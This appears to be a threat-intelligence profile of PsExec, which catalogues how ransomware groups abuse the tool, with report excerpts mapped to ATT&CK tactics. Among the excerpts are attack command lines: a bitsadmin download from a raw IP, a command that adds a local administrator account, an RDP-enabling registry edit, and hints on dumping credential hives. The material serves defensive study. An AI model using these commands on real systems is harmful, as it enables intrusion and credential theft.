PsExec
- Capabilities
- Lateral movementPrivilege escalationPost exploitationDefense evasion
- Platforms
- Windows
PsExec is a legitimate Microsoft Sysinternals administration utility for executing processes on local and remote Windows systems, not a malware family. It supports remote command-shell execution and uses Windows services to launch processes on target hosts. With administrative privileges, it can execute processes under the SYSTEM account, including opening a SYSTEM shell locally; this is not an unauthenticated privilege-escalation exploit.
Threat actors abuse PsExec for post-compromise command execution, lateral movement, stopping services, and distributing and launching ransomware. Operators commonly use compromised administrative credentials to execute payloads across enterprise networks. PsExec may be deployed as a standalone utility or embedded within malware. The Gentlemen ransomware, for example, embeds PsExec and can retrieve it from Microsoft's distribution service if extraction fails.
PsExec abuse has been observed in operations involving Nefilim, NetWalker, Ryuk, and Warlock, among other ransomware families. Its legitimate administrative functionality makes it a dual-use tool shared across unrelated threat actors rather than an indicator of any single group, industry target, or initial-access mechanism.
Associated threat actors
41 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“A separate spread mode, unused in this intrusion, builds a host list from the directory and a network scan, then runs the embedded PsExec as SYSTEM with credentials that the operator supplies.”
The two groups share TTPs ... use a similar set of tools (1C-Shell ... mimikatz, PsExec, and ADRecon).
The two groups share TTPs ... use a similar set of tools (1C-Shell ... mimikatz, PsExec, and ADRecon).
The two groups share TTPs ... use a similar set of tools (1C-Shell for remote command execution on 1C:Enterprise servers, mimikatz, PsExec, and ADRecon).
Microsoft also observed the use of PsExec and Impacket for lateral movement and the use of Group Policy Objects (GPO) to deploy the Warlock payload.
+35 more in the app. View in Mallory
Techniques & procedures
54 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
4 techniques
Resource Development
Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting.
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial.
The first step of abusing WSUS is to create the malicious patch... The payload must be a Microsoft signed binary... there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more.
Tools can be used for malicious purposes by an adversary, but ... were not intended to be used for those purposes (ex: PsExec).
Initial Access
5 techniques
Initial Access
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
[*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
Типичная цепочка: Exploit Public-Facing Application (T1190) или фишинг, затем Mimikatz + PsExec для lateral movement, шифрование.
Execution
10 techniques
Execution
They may push out copies to individual machines from a domain controller, or use administrative commands with WMIC or PsExec to run the malware directly from another server or workstation they control
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
A new Group Policy Object (GPO) was created to launch and execute a Batch (BAT) file via a scheduled task.
PSExec remotely authenticated and executed PowerShell on remote systems within the environment.
ATT&CK Technique: Command and Scripting Interpreter: Windows Command Shell (T1059.003)
Mitre ATT&CK Mapping Tactic Technique Procedure ... T1072 Software Deployment Tools
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
The PsExec executables opens the “\pipe\PSEXESVC” pipe from the remote machine... PsExec waits until an instance of the “\\192.168.164.130\pipe\PSEXESVC-<Local computer name>-<Process ID>-stdin” pipe is available for connection
Enable Attack Surface Reduction (ASR) rules to block processes created by PsExec from running.
Repeated service creation from a PowerShell-spawning implant caused Kaspersky to kill and classify that build.
Persistence
11 techniques
Persistence
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
cmd.exe /c "net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add"
[*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
This malicious patch uses the PsExec.exe binary stored on the WSUS server... This patch will add a new user with the username WSUSDemo and grant them administrative rights over whichever machine it is installed on.
Adversaries may create a domain account to maintain access to victim systems. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
PsExecと自身を送り込んだうえでPsExecを利用して自身をリモート実行します。
«Masque повышают привилегии до уровня SYSTEM при помощи утилиты PsExec.»
Privilege Escalation
8 techniques
Privilege Escalation
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
“The local execution path spawns child processes under the service token… attacker-controlled script content executes locally on the Royal Server host as LocalSystem.”
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
cmd.exe /c "net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add"
PsExecと自身を送り込んだうえでPsExecを利用して自身をリモート実行します。
«Masque повышают привилегии до уровня SYSTEM при помощи утилиты PsExec.»
Stealth
8 techniques
Stealth
INC Ransom has named a PsExec executable winupd to mimic a legitimate Windows update file.
Execution and removal of PsExec Service T1569.002, T1070, T1543.003
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Execution is proxied through trusted, often Microsoft-signed binaries to bypass signature-based defenses. The advisory names PsExec and WinRM.
The sys-internal tool PSEXEC is used to execute malicious BAT files on a single system which were later cleaned off.
Defense Impairment
1 technique
Defense Impairment
Interlock ransomware actors ... trying to uninstall Cisco Secure Endpoint (CSE) ... terminate security services and integrity checkers.
Credential Access
4 techniques
Credential Access
If your user possesses these privileges, you can read and write ANY file on the system... stealing the locked Security Account Manager (SAM) and SYSTEM registry hives. Download these files... and use impacket-secretsdump or psexec to extract the local administrator NTLM hashes.
One such utility is reg.exe, which allows administrators to interact with the Registry hives. This utility can be used to 'dump' or save copies of the Registry hive files... This command is then repeated for the Software and SAM Registry hives.
...use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database...
Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
Discovery
5 techniques
Discovery
After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers.
The next execution event was net.exe with the command line argument localgroup administrators, which results in the listing of all the users in the local administrators group.
the malware pulls in a legitimate system tool called PsExec... and starts scanning the network for reachable machines, including regular workstations, servers, and domain controllers.
Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts.
Activity included WMI execution (e.g. ExecQuery), DCE-RPC activity, SMB sessions and file writes, most of which were successful, as well as the deployment of PSEXESVC.exe via ADMIN$ shares
Lateral Movement
11 techniques
Lateral Movement
SafePay threat actors employ remote services to expand their presence within the compromised network.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
Ransomware copied to admin shares and run as a service T1021.002
PsExec was used to execute commands that led to the installation of TightVNC via MSIEXEC execution with /i , enabling the download and installation of package from the remote location.
"When executed against a remote system, PsExec creates a file named 'PSEXESVC.exe' on the remote system."
Mitre ATT&CK Mapping Tactic Technique Procedure ... T1072 Software Deployment Tools
The device was observed conducting extensive lateral movement, leveraging LOTL techniques to evade detection. Activity included WMI execution (e.g. ExecQuery), DCE-RPC activity, SMB sessions and file writes...
«Pass-the-hash через RDP (T1550.002 + T1021.001)»
In the ICS-CERT reporting for Q4 2024, for example, Crypt Ghouls relied on Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec.
«RDP Hijacking (T1563.002 ... ) - перехват отключённой (disconnected) сессии»
Adversaries may transfer tools or other files between systems in a compromised environment.
Command and Control
2 techniques
Command and Control
The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.
We tried to invoke a notification that would install PsExec using Winget on click.
Exfiltration
1 technique
Exfiltration
Tools such as PowerShell and PsExec are used to exfiltrate data directly to C2 servers.
Impact
2 techniques
Impact
Ransomware was deployed to the estate and impacted both servers and end-user devices
Adversaries may stop or disable services on a system to render those services unavailable to legitimate users.
Observables
5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
65 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.